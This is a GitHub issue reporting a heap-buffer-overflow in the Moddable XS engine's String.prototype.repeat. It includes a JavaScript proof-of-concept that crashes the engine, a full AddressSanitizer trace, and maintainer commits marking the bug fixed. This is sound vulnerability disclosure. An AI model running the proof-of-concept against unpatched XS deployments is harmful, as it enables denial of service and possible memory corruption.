

New issue

Jump to bottom

heap-buffer-overflow(fx_String_prototype_repeat) #582

Closed rain6851 opened this issue on Feb 26, 2021 · 0 comments

Labels fixed - please verify

rain6851 commented on Feb 26, 2021

Enviroment

operating system: ubuntu18.04
compile command: cd /pathto/moddable/xs/makefiles/lin
make
test command: ./xst poc

poc:

```
function getHiddenValue(){
  var obj = {};
  var oob = "/re/";
  //oob = oob.replace("re","*").repeat(0x2000);
  oob = oob.replace("re",oob = oob.replace("re","*").repeat(0x100000)).repeat(0x100000);
  var str = 'class x extends Array{'+oob+'}';
  var fun = eval(str);
  Object.assign(obj,fun);
  return obj;
}
function makeOobString(){
  var hiddenValue = getHiddenValue();
  var str = 'class x extends Array{}';
  var fun = eval(str);
  Object.assign(fun,hiddenValue);
  var oobString = fun.toString();
  return oobString;
}
var oobString = makeOobString();
```

description

```
=====
==5944==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f751f1fe820 at pc 0x7f75226c5904 bp 0x7fffc01aa870 sp 0x7fffc01aa018
WRITE of size 1048578 at 0x7f751f1fe820 thread T0
#0 0x7f75226c5903 in __asan_memcpy (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x8c903)
#1 0x61c670 in fx_String_prototype_repeat /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsString.c:969
#2 0x53cd2b in fxRunID /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsRun.c:824
#3 0x604ee7 in fxRunScript /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsRun.c:4708
#4 0x6fa9f9 in fxRunProgramFile /home/node/mmfuzzer/asan_moddable/moddable/xs/tools/xst.c:1369
#5 0x6ed74c in main /home/node/mmfuzzer/asan_moddable/moddable/xs/tools/xst.c:270
#6 0x7f7521d6982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#7 0x4146a8 in _start (/root/AFL/targets/moddable/xst+0x4146a8)
```

0x7f751f1fe820 is located 0 bytes to the right of 16777248-byte region [0x7f751e1fe800,0x7f751f1fe820) allocated by thread T0 here:

```
#0 0x7f75226d1602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x579189 in fxAllocateChunks /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsPlatforms.c:122
#2 0x53cd2b in fxGrowChunks /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsMemory.c:377
#3 0x53b7fe in fxAllocate /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsMemory.c:159
#4 0x42095a in fxCreateMachine /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsAPI.c:1305
#5 0x6ec9a0 in main /home/node/mmfuzzer/asan_moddable/moddable/xs/tools/xst.c:249
#6 0x7f7521d6982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
```

SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 __asan_memcpy


Shadow bytes around the buggy address:

```
0x0fef23e37cb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fef23e37cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fef23e37cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fef23e37ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fef23e37cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0fef23e37d00: 00 00 00 00[f]fa fa fa fa fa fa fa fa fa fa
0x0fef23e37d10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fef23e37d20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fef23e37d30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fef23e37d40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fef23e37d50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
```

Shadow byte legend (one shadow byte represents 8 application bytes):

Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8

```
Global redzone:      f9
Global init order:   f6
Poisoned by user:    f7
Container overflow:   fc
Array cookie:        ac
Intra object redzone: bb
ASan internal:       fe
==5944==ABORTING
```

 **mkellner** pushed a commit that referenced this issue on Mar 15, 2021



XS: [#582](#) [#581](#) [#580](#) [#567](#)

3edc913

 **mkellner** pushed a commit that referenced this issue on Mar 15, 2021

XS: [#582](#) [#581](#) [#580](#) [#567](#)

ee959cb

  **phoddie** added the `fixed - please verify` label on Mar 15, 2021

 **phoddie** closed this as completed on Mar 23, 2021

Assignees

No one assigned

Labels

`fixed - please verify`

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

